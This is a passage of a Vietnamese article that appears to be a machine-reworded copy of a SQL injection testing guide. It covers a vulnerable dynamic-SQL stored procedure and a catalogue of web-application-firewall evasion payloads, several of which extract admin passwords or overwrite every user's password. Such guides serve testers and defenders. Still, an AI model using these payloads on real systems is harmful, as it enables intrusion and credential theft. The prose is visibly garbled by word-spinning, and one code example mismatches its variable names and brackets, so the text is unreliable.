Quy trình này không làm sạch nguồn vào, do đó được cho phép giá trị trả về hiển thị một bản ghi hiện có với những tham số này .
Ví dụ này có vẻ như khó xảy ra do việc sử dụng SQL động để đăng nhập người dùng, nhưng hãy xem xét một truy vấn báo cáo giải trình động trong đó người dùng chọn những cột để xem. Người dùng hoàn toàn có thể chèn mã ô nhiễm vào trường hợp này và xâm phạm tài liệu .
Hãy xem xét thủ tục tàng trữ SQL Server sau :

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  = '
Select ' + @columnamelist + ' from ReportTable'
exec(@sqlstring)
Go

Đầu vào của người dùng :

1 from users; update users set password = 'password'; select *

Điều này sẽ dẫn đến việc chạy báo cáo giải trình và tổng thể mật khẩu của người dùng được update .

Khai thác tự động

Hầu hết những trường hợp và kỹ thuật được trình diễn ở đây hoàn toàn có thể được triển khai theo cách tự động hóa bằng cách sử dụng một số ít công cụ. Trong bài viết này, người kiểm tra hoàn toàn có thể tìm thấy thông tin về cách thực thi kiểm tra tự động hóa bằng SQLMap

Kỹ thuật tránh SQL Injection Signature

Các kỹ thuật được sử dụng để vượt qua những giải pháp phòng thủ như tường lửa ứng dụng Web ( WAF ) hoặc mạng lưới hệ thống ngăn ngừa xâm nhập ( IPS ). Cũng tìm hiểu thêm https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

1. White Space

Việc giảm dung tích hoặc thêm dấu cách sẽ không ảnh hưởng tác động đến câu lệnh SQL. Ví dụ

or 'a'='a'

or 'a'  =    'a'

Việc thêm ký tự đặc biệt quan trọng như dòng hoặc tab mới sẽ không biến hóa việc thực thi câu lệnh SQL. Ví dụ ,
hoặc

or
'a'=
        'a'

2. Null Bytes

Sử dụng byte rỗng ( % 00 ) trước bất kể ký tự nào mà bộ lọc đang chặn .
Ví dụ : nếu kẻ tiến công hoàn toàn có thể đưa vào SQL sau

' UNION SELECT password FROM Users WHERE username='admin'--

để thêm Null Byte sẽ là

%00' UNION SELECT password FROM Users WHERE username='admin'--

3. SQL Comments

Thêm chú thích nội dòng SQL cũng hoàn toàn có thể giúp câu lệnh SQL hợp lệ và bỏ lỡ bộ lọc chèn SQL. Lấy SQL injection này làm ví dụ .

' UNION SELECT password FROM Users WHERE name='admin'--

Thêm chú thích nội dòng SQL sẽ được .

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

4. Mã hóa URL

Sử dụng mã hóa URL trực tuyến để mã hóa câu lệnh SQL

' UNION SELECT password FROM Users WHERE name='admin'--

Mã hóa URL của câu lệnh SQL injection sẽ là

% 27% 20UNION% 20SELECT% 20password% 20FROM% 20Users% 20WHERE% 20name% 3D% 27admin% 27--

5. Mã hóa ký tự

Hàm Char ( ) hoàn toàn có thể được dùng để sửa chữa thay thế hàm char tiếng Anh. Ví dụ, char ( 114,111,111,116 ) có nghĩa là gốc

' UNION SELECT password FROM Users WHERE name='root'--

Để vận dụng Char ( ), câu lệnh lệnh SQL sẽ là

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

6. Nối chuỗi

Sự phối hợp phá vỡ những từ khóa SQL và tránh những bộ lọc. Cú pháp nối khác nhau dựa trên công cụ cơ sở tài liệu. Lấy công cụ MS SQL làm ví dụ

select 1

Câu lệnh SQL đơn thuần hoàn toàn có thể được đổi khác như bên dưới bằng cách sử dụng phép nối

EXEC('SEL' + 'ECT 1')

7. Mã hóa Hex

Kỹ thuật mã hóa hệ thập lục phân sử dụng mã hóa Hệ thập lục phân để thay thế sửa chữa ký tự câu lệnh SQL khởi đầu. Ví dụ, root hoàn toàn có thể được màn biểu diễn dưới dạng 726F6 F74

Select user from users where name = 'root'

Câu lệnh SQL bằng cách sử dụng giá trị HEX sẽ là :

Select user from users where name = 726F6F74

hoặc

Select user from users where name = unhex('726F6F74')

8. Khai báo các biến

Khai báo câu lệnh SQL injection vào biến và thực thi nó .
Ví dụ, SQL injection

Union Select password

Định nghĩa câu lệnh SQL thành SQLivar biến

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)

9. Biểu thức thay thế của ‘hoặc 1 = 1’

OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' > 'S'
or 20 > 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

Biện pháp khắc phục hậu quả

Để bảo mật thông tin ứng dụng khỏi những lỗ hổng SQL Injection, hãy tìm hiểu thêm Biểu đồ ngăn ngừa SQL Injection .
Để bảo mật thông tin sever SQL, hãy tìm hiểu thêm Biểu đồ bảo mật thông tin cơ sở tài liệu .

Công cụ

Để bảo mật thông tin xác nhận đầu vào chung, hãy tìm hiểu thêm Biểu mẫu xác nhận nguồn vào .

Source: https://vh2.com.vn
Category : Startup